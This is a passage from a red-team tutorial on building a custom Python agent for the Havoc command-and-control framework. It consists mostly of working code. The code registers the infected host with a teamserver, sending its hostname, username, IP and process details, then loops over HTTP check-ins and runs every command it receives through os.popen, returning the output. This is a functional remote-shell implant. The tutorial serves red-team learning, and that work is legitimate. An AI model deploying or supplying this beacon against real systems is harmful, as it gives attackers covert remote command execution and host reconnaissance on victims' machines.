2: Writing the agent

Let's write a basic agent.

As stated in the intro, as the purpose of this post is to understand the Havoc interfaces and not agent development, the agent will be written in Python. This is NOT (generally) OPSEC safe, and should not be treated as such. It is however, a relatively easy language to understand for the purposes of understanding the Havoc third party interfaces. It's also a quick and easy way to support cross platform (e.g. linux) targets when OPSEC is not a concern.

First, we need to decide on a C2 channel. For the purposes of this basic agent, we will be talking to a built in Havoc HTTP listener. For this, we will be using the python requests library.

First, we need to build the 12 byte header. While the size of each request is dynamic, the magic value and agent id should not change. We can easily build these parts of the header at runtime:

def get_random_string(length):
    # choose from all lowercase letter
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

magic = b"\x41\x41\x41\x41"
agentid = get_random_string(4).encode('utf-8')

We also need to understand the Havoc spec for registering new agents:

                # Register info:
                #   - AgentID           : int [needed]
                #   - Hostname          : str [needed]
                #   - Username          : str [needed]
                #   - Domain            : str [optional]
                #   - InternalIP        : str [needed]
                #   - Process Path      : str [needed]
                #   - Process Name      : str [needed]
                #   - Process ID        : int [needed]
                #   - Process Parent ID : int [optional]
                #   - Process Arch      : str [needed]
                #   - Process Elevated  : int [needed]
                #   - OS Build          : str [needed]
                #   - OS Version        : str [needed]
                #   - OS Arch           : str [optional]
                #   - Sleep             : int [optional]

These are the values required to register a new agent. Let's make a register() function that registers the first callback:

    # }
    registerdict = {
    "AgentID": str(agentid),
    "Hostname": hostname,
    "Username": os.getlogin(),
    "Domain": "",
    "InternalIP": socket.gethostbyname(hostname),
    "Process Path": os.getcwd(),
    "Process ID": str(os.getpid()),
    "Process Parent ID": "0",
    "Process Arch": "x64",
    "Process Elevated": 0,
    "OS Build": "NOT IMPLEMENTED YET",
    "OS Arch": arch,
    "Sleep": 1,
    "Process Name": "python",
    "OS Version": str(platform.version())
    }
    # registerblob contains the info we need to register the new agent
    registerblob = json.dumps(registerdict)

Now we need to send this to the HTTP listener on the teamserver. We will be sending it as a POST request, with our data in the POST body. Since we are also going to be handling our own callbacks later on, we also want an easy way to identify the callback action. Let's build a simple JSON structure:

Let's build a simple JSON structure:

    # registerblob contains the info we need to register the new agent
    registerblob = json.dumps(registerdict)

    requestdict = {"task":"register","data":registerblob}
    requestblob = json.dumps(requestdict)

Now that it's built, we want to send it to the teamserver.

    requestdict = {"task":"register","data":registerblob}
    requestblob = json.dumps(requestdict)
    
    size = len(requestblob) + 12
    size_bytes = size.to_bytes(4, 'big')
    agentheader = size_bytes + magic + agentid
    
    print("[?] trying to register the agent")
    x = requests.post(url, data=agentheader+requestblob.encode("utf-8"))
    return str(x.text)

We should be able to call this function and register a new agent.

Do note that this cannot be tested yet because we have not written the code to handle our own requests on the teamserver end.

Now we need to make a simple callback function.

def checkin(data):
    print("Checking in for taskings")
    requestdict = {"task":"gettask","data":data} # data is the agent output to return
    requestblob = json.dumps(requestdict)
    
    size = len(requestblob) + 12 # calculate the size of the blob, and add the header size
    size_bytes = size.to_bytes(4, 'big')
    agentheader = size_bytes + magic + agentid
    
    x = requests.post(url, data=agentheader+requestblob.encode("utf-8"))
    if len(x.text) > 0:
        print("Havoc response: " + x.text)
    return x.text # this is our new taskings

This short function should be fairly self explanatory based on our register function. It puts the data to be sent back in a JSON structure for ourselves to parse later, and prepends the agent header before sending it. It also receives the new taskings in the HTTP response, which is returned from the function.

In this example agent we will be implementing a simple shell command and an exit command, to give our agent some basic functionality.

def runcommand(command):
    command = command.strip("\x00") # strip null bytes if any, python complains.
    if command == "goodbye": # if server says goodbye, we exit
        sys.exit(2)
    output = os.popen(command).read() + "\n" # if server says anything else, we
                                             # run it as a shell command.
    return output

Now we just need to write some simple logic to register our agent then loop for callbacks, using the functions we just created.


#register the agent
while registered != "registered":
    registered = register()

print("REGISTERED!")

def runcommand(command):
    command = command.strip("\x00")
    if command == "goodbye":
        sys.exit(2)
    output = os.popen(command).read() + "\n"
    return output
#checkin for commands
while True:
    commands = checkin(outputdata)
    outputdata = ""
    #print(commands)
    if len(commands) > 4:
        commandsarray = commands.split(commands[0:4])
        #print(commandsarray)
        for x in commandsarray:
            outputdata += runcommand(x)

This code makes some assumptions that we will have to account for in our agent handler on the teamserver end:

  1. First we have to return the string "registered" to a register request, to indicate that the agent has registered and break the while loop.

  2. Second, we must split the commands by the first 4 characters, as Havoc returns each tasking prepended by its size.

That should be all for our custom agent! In the next section we will be writing the python handler for our custom agent.

Last updated